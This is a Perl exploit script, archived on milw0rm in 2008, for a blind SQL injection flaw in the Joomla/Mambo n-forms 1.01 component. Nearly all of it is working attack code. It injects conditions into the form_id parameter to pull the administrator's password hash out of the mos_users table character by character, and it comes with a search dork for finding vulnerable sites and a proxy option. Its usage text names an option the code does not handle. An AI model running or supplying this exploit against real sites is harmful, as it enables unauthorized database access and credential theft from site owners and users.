Joomla! Component n-forms 1.01 - Blind SQL Injection

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                  \n";
    print "   ################################################################\n";
  print "   #   Mambot Component n-forms Blind SQL Injection Exploit       #\n";
  print "   #   Author:The Moorish :D                                      #\n";
  print "   #   Greetz:Team-dz,His0k4,x.CJP.x,Kader11000,c02,piRAte DIgitAL#\n";
  print "   #   sites:www.h4cnc.com ,www.dz-secure.com                     #\n";
  print "   #   Dork:    inurl:com_n-forms                                 #\n";   
  print "   #   Usage:   perl forms.pl host path <options>                 #\n";
  print "   #   Example: perl forms.pl www.host.com /path/ -f 10           #\n";
  print "   #                                                              #\n";
  print "   #   Options:                                                   #\n";
  print "   #     -s   Valid form    id                                    #\n";
  print "   #   Note:                                                      #\n";
  print "   #   You can change the match string if you need that           #\n";
  print "   ################################################################\n";
  exit;
}
 
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $fid     = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "f=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
  $userid = $options{"u"};
}
if($options{"f"})
{
  $fid = $options{"f"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $fid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $fid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $fid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_n-forms&form_id=".$fid." and ascii(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1 ),".$i.",1))=".$h."";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "nfields";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-12]